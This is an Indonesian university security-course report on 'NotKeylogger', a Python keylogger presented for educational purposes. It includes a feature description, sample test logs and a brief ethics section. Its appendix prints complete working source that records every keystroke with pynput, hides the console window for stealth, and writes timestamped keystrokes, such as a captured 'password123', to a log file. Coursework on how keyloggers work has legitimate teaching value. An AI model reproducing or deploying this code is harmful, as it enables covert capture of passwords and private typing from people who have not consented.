

LAPORAN TUGAS KEAMANAN SISTEM DAN SIBER

NotKeylogger: Implementasi dan Analisis Keylogger untuk

Tujuan Edukasi



Disusun oleh:

M. Chandra Agoeng P (24/549761/NPA/19958)

PROGRAM STUDI S1 ILMU KOMPUTER

DEPARTEMEN ILMU KOMPUTER DAN ELEKTRONIKA

FAKULTAS MATEMATIKA DAN ILMU PENGETAHUAN ALAM

UNIVERSITAS GADJAH MADA

YOGYAKARTA

2024

Daftar Isi

1. Pendahuluan	3
2. Deskripsi Program	4
Fitur Utama	4
Spesifikasi Teknis	4
3. Cara Kerja Program.....	5
4. Studi Kasus dan Pengujian	6
Pengujian 1: Input Normal.....	6
Pengujian 2: Input dengan Karakter Spesial.....	6
Pengujian 3: Mode Stealth.....	6
5. Legalitas dan Etika	7
6. Kesimpulan	8
7. Lampiran	9
Kode Program	9
Link Dokumentasi GitHub.....	9

Pendahuluan

Keylogger adalah perangkat lunak yang digunakan untuk merekam setiap tombol yang ditekan pada keyboard. Meskipun sering dikaitkan dengan aktivitas berbahaya seperti pencurian data, keylogger juga memiliki aplikasi legal dan edukatif, seperti pengujian keamanan atau mempelajari cara kerja input keyboard. Dalam tugas ini, saya mengembangkan sebuah program bernama **NotKeylogger** menggunakan Python, dengan tujuan memahami cara kerja keylogger sekaligus memperhatikan aspek legalitas dan etika dalam penggunaannya.

Deskripsi Program

NotKeylogger adalah aplikasi keylogger minimalis yang merekam input keyboard dan mencatatnya ke dalam sebuah file log. Program ini dirancang untuk berjalan di latar belakang secara tersembunyi (stealth mode). Dokumentasi lengkap tersedia di [Chanzwastaken/NotKeyLogger](https://chanzwastaken.github.io/NotKeyLogger)

Fitur Utama

1. **Eksekusi di Latar Belakang:** Berjalan tanpa menampilkan jendela terminal.
2. **Pencatatan Waktu:** Mencatat setiap input keyboard dengan timestamp.
3. **Thread-Safe Buffering:** Menggunakan buffer untuk menyimpan data sebelum ditulis ke file secara periodik.
4. **Format Log yang Mudah Dibaca:** Mengelompokkan karakter dan tombol spesial dalam format yang terstruktur.

Spesifikasi Teknis

- **Bahasa Pemrograman:** Python 3.6+
- **Perpustakaan yang Digunakan:**
 - `pynput`: Untuk menangkap input keyboard.
 - `ctypes`: Untuk menyembunyikan jendela terminal.
 - `threading`: Untuk manajemen thread dalam penulisan log.
- **File Output:** Semua keystroke disimpan dalam file `keylogger.log`.

Cara Kerja Program

1. Proses Logging

- Setiap tombol yang ditekan akan direkam melalui event listener dari `pynput`.
- Karakter spesial seperti Enter, Shift, atau Space akan diformat dalam tanda kurung (`[SHIFT]`, `[ENTER]`).
- Data yang diketik dalam satu detik akan disimpan sementara dalam buffer sebelum ditulis ke file log.

2. Penulisan Log

- Data keystroke akan disimpan ke file `keylogger.log` setiap detik dengan format:

```
[YYYY-MM-DD HH:MM:SS] teks yang diketik
```

3. Mode Stealth

- Program menyembunyikan jendela terminal menggunakan fungsi `ctypes.windll.user32.ShowWindow`.

4. Multithreading

- Threading digunakan untuk menjalankan fungsi pencatatan ke file tanpa mengganggu proses utama pendeteksian tombol.

Studi Kasus dan Pengujian

Pengujian 1: Input Normal

- **Input:** password123
- **Output Log:**

```
[2024-11-28 10:25:01] password123
```

Pengujian 2: Input dengan Karakter Spesial

- **Input:** [SHIFT]Hello[SPACE]World[ENTER]
- **Output Log:**

```
[2024-11-28 10:25:02] [SHIFT]Hello[SPACE]World[ENTER]
```

Pengujian 3: Mode Stealth

Program berhasil berjalan tanpa menampilkan jendela terminal. Dihentikan melalui Task Manager.

Legalitas dan Etika

Program ini dikembangkan semata-mata untuk tujuan edukasi. **Penggunaan tanpa izin dari pihak terkait adalah ilegal** dan melanggar regulasi keamanan siber, seperti UU ITE di Indonesia. Oleh karena itu, penggunaan program ini harus dilakukan dengan penuh tanggung jawab dan sesuai dengan hukum yang berlaku.

Kesimpulan

Pengembangan **NotKeylogger** memberikan pemahaman mendalam tentang cara kerja keylogger, termasuk teknik pengumpulan data secara efisien menggunakan Python.

Meskipun memiliki potensi untuk disalahgunakan, penerapan etika dalam pengembangan dan penggunaan perangkat lunak ini sangat penting. Ke depannya, program ini dapat ditingkatkan untuk mendeteksi dan mencegah aktivitas keylogging ilegal.

Lampiran

Kode Program

```
from pynput import keyboard
import time
import os
import ctypes
import threading

# File to log keystrokes
LOG_FILE = "keylogger.log"

# Buffer to store keystrokes before logging
keystroke_buffer = []
current_typed = "" # Accumulate keystrokes for a single second

# Lock for thread-safe access to the buffer
buffer_lock = threading.Lock()

def write_to_file():
    """Periodically write buffered keystrokes to the log file."""
    global current_typed
    while True:
        time.sleep(1) # Write every second
        with buffer_lock:
            if current_typed:
                # Add the accumulated keystrokes to the buffer with a timestamp
                timestamp = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
                log_entry = f"[{timestamp}]{current_typed}\n"
                keystroke_buffer.append(log_entry)
                current_typed = "" # Reset the typed characters
```

```

        if keystroke_buffer:
            # Write buffered data to the log file
            with open(LOG_FILE, "a") as f:
                f.writelines(keystroke_buffer)
            # Clear the buffer after writing
            keystroke_buffer.clear()

def on_press(key):
    """Handle key press events."""
    global current_typed
    try:
        data = key.char # Printable characters
    except AttributeError:
        # Special keys (e.g., Shift, Ctrl, etc.)
        data = f"[{key.name.upper()}]"

    # Accumulate characters into `current_typed`
    with buffer_lock:
        current_typed += data

def hide_console_window():
    """Hide the console window."""
    hwnd = ctypes.windll.kernel32.GetConsoleWindow()
    if hwnd:
        ctypes.windll.user32.ShowWindow(hwnd, 0) # 0 =
SW_HIDE

def main():
    """Main function."""
    # Hide the console window for stealth mode
    hide_console_window()

    # Start a thread for writing the log file every second
    writer_thread = threading.Thread(target=write_to_file,
daemon=True)
    writer_thread.start()

    # Set up the keylogger

```

```
with keyboard.Listener(on_press=on_press) as listener:  
    listener.join()  
  
if __name__ == "__main__":  
    main()
```

Link Dokumentasi GitHub

<https://github.com/Chanzwastaken/NotKeyLogger>